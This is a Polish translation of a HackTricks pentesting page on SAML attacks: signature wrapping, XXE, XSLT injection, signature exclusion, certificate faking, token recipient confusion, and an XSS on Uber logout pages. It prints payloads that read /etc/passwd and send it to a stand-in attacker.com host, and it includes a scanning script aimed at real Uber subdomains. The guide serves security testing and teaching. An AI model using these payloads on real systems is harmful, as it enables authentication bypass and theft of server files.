hacktricks/pentesting-web/saml-attacks/README.md

# Ataki SAML

## Ataki SAML

<details>

<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Podstawowe informacje

{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}

## Narzędzie

[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Narzędzie, które może przyjąć adres URL lub listę adresów URL i zwracać adres URL konsumujący SAML.

## XML round-trip

W XML część podpisana XML jest zapisywana w pamięci, następnie wykonywane jest kodowanie/odkodowanie i sprawdzany jest podpis. Idealnie kodowanie/odkodowanie nie powinno zmieniać danych, ale w oparciu o ten scenariusz **sprawdzane dane i oryginalne dane mogą się różnić**.

Na przykład, sprawdź poniższy kod:
```ruby
require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Uruchomienie programu przeciwko REXML 3.2.4 lub wcześniejszej wersji spowoduje wygenerowanie następującego wyniku:
```
First child in original doc: Y
First child after round-trip: Z
```
Tak REXML widział oryginalny dokument XML z powyższego programu:

![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (561).png>)

A tak widział go po rundzie analizy i serializacji:

![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (562).png>)

Aby uzyskać więcej informacji na temat podatności i jak jej nadużywać:

* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)

## Ataki opakowujące podpis XML

W atakach **opakowujących podpis XML (XSW)** przeciwnicy wykorzystują podatność wynikającą z przetwarzania dokumentów XML w dwóch różnych fazach: **walidacji podpisu** i **wywołania funkcji**. Ataki te polegają na zmianie struktury dokumentu XML. Konkretnie, atakujący **wstrzykuje sfałszowane elementy**, które nie kompromitują ważności podpisu XML. Manipulacja ta ma na celu stworzenie rozbieżności między elementami analizowanymi przez **logikę aplikacji** a tymi sprawdzanymi przez **moduł weryfikacji podpisu**. W rezultacie, podczas gdy podpis XML pozostaje technicznie ważny i przechodzi weryfikację, logika aplikacji przetwarza **fałszywe elementy**. W rezultacie atakujący skutecznie omija **ochronę integralności** i **uwierzytelnianie pochodzenia** podpisu XML, umożliwiając **wstrzyknięcie dowolnej treści** bez wykrycia.

Następujące ataki opierają się na **[tym wpisie na blogu](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) i [tej pracy naukowej](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Sprawdź je dla dalszych szczegółów.


### XSW #1
- **Strategia**: Dodanie nowego elementu nadrzędnego zawierającego podpis.
- **Konsekwencje**: Walidator może się pomylić między prawidłowym "Response -> Assertion -> Subject" a "złowrogim nowym Response -> Assertion -> Subject" atakującego, co prowadzi do problemów z integralnością danych.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (538).png>)

### XSW #2
- **Różnica w porównaniu do XSW #1**: Wykorzystuje odłączony podpis zamiast opakowującego podpis.
- **Konsekwencje**: "Złowroga" struktura, podobna do XSW #1, ma na celu wprowadzenie w błąd logikę biznesową po sprawdzeniu integralności.


![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (539).png>)

### XSW #3
- **Strategia**: Tworzenie złowrogiego Assertion na tym samym poziomie hierarchicznym co oryginalne twierdzenie.
- **Konsekwencje**: Ma na celu wprowadzenie w błąd logikę biznesową, aby używała złośliwych danych.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (540).png>)

### XSW #4
- **Różnica w porównaniu do XSW #3**: Oryginalne twierdzenie staje się dzieckiem zduplikowanego (złowrogiego) twierdzenia.
- **Konsekwencje**: Podobnie jak XSW #3, ale bardziej agresywnie zmienia strukturę XML.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)

### XSW #5
- **Unikalny aspekt**: Ani Podpis, ani oryginalne Twierdzenie nie przestrzegają standardowych konfiguracji (opakowane/opakowujące/odłączone).
- **Konsekwencje**: Skopiowane Twierdzenie otacza Podpis, modyfikując oczekiwaną strukturę dokumentu.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)

### XSW #6
- **Strategia**: Podobne umieszczenie jak w XSW #4 i #5, ale z pewnym zaskoczeniem.
- **Konsekwencje**: Skopiowane Twierdzenie otacza Podpis, który następnie otacza oryginalne Twierdzenie, tworząc zagnieżdżoną strukturę wprowadzającą w błąd.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (543).png>)

### XSW #7
- **Strategia**: Wstawienie elementu Rozszerzenia z złośliwym Twierdzeniem jako dzieckiem.
- **Konsekwencje**: Wykorzystuje mniej restrykcyjny schemat elementu Rozszerzenia w celu obejścia przeciwdziałających walidacji schematu, zwłaszcza w bibliotekach takich jak OpenSAML.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)

### XSW #8
- **Różnica w porównaniu do XSW #7**: Wykorzystuje inny, mniej restrykcyjny element XML dla wariantu ataku.
- **Konsekwencje**: Oryginalne Twierdzenie staje się dzieckiem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (545).png>)

### Narzędzie

Możesz użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), aby przeanalizować żądanie, zastosować wybrany atak XSW i go uruchomić.

## XXE

Jeśli nie wiesz, jakie są ataki XXE, przeczytaj następującą stronę:

{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}

Odpowiedzi SAML są **skompresowanymi i zakodowanymi w formacie base64 dokumentami XML** i mogą być podatne na ataki zewnętrznych jednostek XML (XXE). Poprzez manipulację strukturą XML odpowiedzi SAML, atakujący mogą próbować wykorzystać podatności XXE. Oto, jak taki atak może być zobrazowany:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## Narzędzia

Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) do generowania POC z żądania SAML w celu przetestowania możliwych podatności XXE i podatności SAML.

Sprawdź również tę prezentację: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)

## XSLT poprzez SAML

Aby uzyskać więcej informacji na temat XSLT, przejdź do:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}

Rozszerzalny język transformacji arkuszy stylów (XSLT) może być używany do przekształcania dokumentów XML na różne formaty, takie jak HTML, JSON lub PDF. Ważne jest zauważenie, że **transformacje XSLT są wykonywane przed weryfikacją cyfrowego podpisu**. Oznacza to, że atak może być udany nawet bez ważnego podpisu; wystarczający jest samopodpisany lub nieważny podpis.

Tutaj znajdziesz **POC** do sprawdzenia tego rodzaju podatności, na stronie hacktricks, o której mowa na początku tej sekcji, znajdziesz przykładowe dane wejściowe.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### Narzędzie

Możesz również użyć rozszerzenia Burp o nazwie [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), aby wygenerować POC z żądania SAML w celu przetestowania możliwych podatności XSLT.

Sprawdź również tę prezentację: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)

## Wykluczenie podpisu XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>

**Wykluczenie podpisu XML** obserwuje zachowanie implementacji SAML, gdy element podpisu nie jest obecny. Jeśli ten element jest brakujący, **weryfikacja podpisu może nie wystąpić**, co czyni go podatnym. Można to przetestować, zmieniając zawartość, która zwykle jest weryfikowana przez podpis.

![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)

### Narzędzie <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>

Możesz również użyć rozszerzenia Burp o nazwie [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Przechwyć odpowiedź SAML i kliknij „Usuń podpisy”. W ten sposób usuwane są **wszystkie** elementy podpisu.

Po usunięciu podpisów, pozwól na przetworzenie żądania do celu. Jeśli podpis nie jest wymagany przez usługę

## Fałszowanie certyfikatu <a href="#certificate-faking" id="certificate-faking"></a>

Fałszowanie certyfikatu to technika testowania, czy **Usługodawca (SP) prawidłowo weryfikuje, czy wiadomość SAML jest podpisana** przez zaufanego dostawcę tożsamości (IdP). Polega na użyciu **samopodpisanego certyfikatu** do podpisania odpowiedzi SAML lub twierdzenia, co pomaga w ocenie procesu walidacji zaufania między SP a IdP.

### Jak przeprowadzić fałszowanie certyfikatu
Poniższe kroki opisują proces za pomocą rozszerzenia Burp o nazwie [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):

1. Przechwyć odpowiedź SAML.
2. Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs, korzystając z przycisku „Wyślij certyfikat do SAML Raider Certs”.
3. W zakładce SAML Raider Certificates wybierz zaimportowany certyfikat i kliknij „Zapisz i podpisz samodzielnie”, aby utworzyć samopodpisaną kopię oryginalnego certyfikatu.
4. Wróć do przechwyconego żądania w Proxy Burp. Wybierz nowy samopodpisany certyfikat z listy rozwijanej XML Signature.
5. Usuń istniejące podpisy za pomocą przycisku „Usuń podpisy”.
6. Podpisz wiadomość lub twierdzenie nowym certyfikatem, używając odpowiedniego przycisku **„(Ponownie) Podpisz wiadomość”** lub **„(Ponownie) Podpisz twierdzenie”**.
7. Prześlij podpisaną wiadomość. Pomyślne uwierzytelnienie oznacza, że SP akceptuje wiadomości podpisane przez twój samopodpisany certyfikat, ujawniając potencjalne podatności w procesie walidacji wiadomości SAML.


## Zamieszanie w odbiorcy tokena / Zamieszanie w docelowym dostawcy usług <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>

Zamieszanie w odbiorcy tokena (SAML-TRC) i zamieszanie w docelowym dostawcy usług dotyczą sprawdzenia, czy **Usługodawca prawidłowo weryfikuje zamierzony odbiorcę odpowiedzi**. W zasadzie, Usługodawca powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego dostawcy. Kluczowym elementem tutaj jest pole **Odbiorca**, znajdujące się w elemencie **SubjectConfirmationData** odpowiedzi SAML. To pole określa adres URL wskazujący, gdzie należy wysłać twierdzenie. Jeśli rzeczywisty odbiorca nie odpowiada zamierzonemu dostawcy usług, twierdzenie powinno zostać uznane za nieprawidłowe.

#### **Jak to działa**

Aby atak SAML Token Recipient Confusion (SAML-TRC) był wykonalny, muszą być spełnione pewne warunki. Po pierwsze, na Usługodawcy musi istnieć prawidłowe konto (o nazwie SP-Legit). Po drugie, docelowy dostawca usług (SP-Target) musi akceptować tokeny od tego samego dostawcy tożsamości, który obsługuje SP-Legit.

Proces ataku jest prosty w tych warunkach. Rozpoczyna się autentyczna sesja z SP-Legit za pośrednictwem wspólnego dostawcy tożsamości. Przechwycona odpowiedź SAML od dostawcy tożsamości do SP-Legit jest następnie przekierowywana do SP-Target. Sukces w tym ataku mierzy się poprzez akceptację twierdzenia przez SP-Target, co umożliwia dostęp do zasobów przy użyciu tej samej nazwy konta, która została użyta dla SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## XSS w funkcjonalności wylogowywania

Oryginalne badania można znaleźć pod [tym linkiem](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).

Podczas procesu brutalnego przeszukiwania katalogów, odkryto stronę wylogowywania pod adresem:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Po wejściu na ten link nastąpiło przekierowanie na:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
To ujawniło, że parametr `base` akceptuje adres URL. W związku z tym, pojawił się pomysł podstawienia adresu URL na `javascript:alert(123);` w celu przeprowadzenia ataku XSS (Cross-Site Scripting).


### Masowa eksploatacja

[Z tej publikacji](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):

Do analizy subdomen `uberinternal.com` w poszukiwaniu domen korzystających z tej samej biblioteki zostało użyte narzędzie [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor). Następnie został opracowany skrypt, który celuje w stronę `oidauth/prompt`. Skrypt ten testuje podatność na XSS (Cross-Site Scripting), wprowadzając dane i sprawdzając, czy są one odzwierciedlane w wyniku. W przypadku, gdy dane są odzwierciedlane, skrypt oznacza stronę jako podatną.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)
```
## Odwołania
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>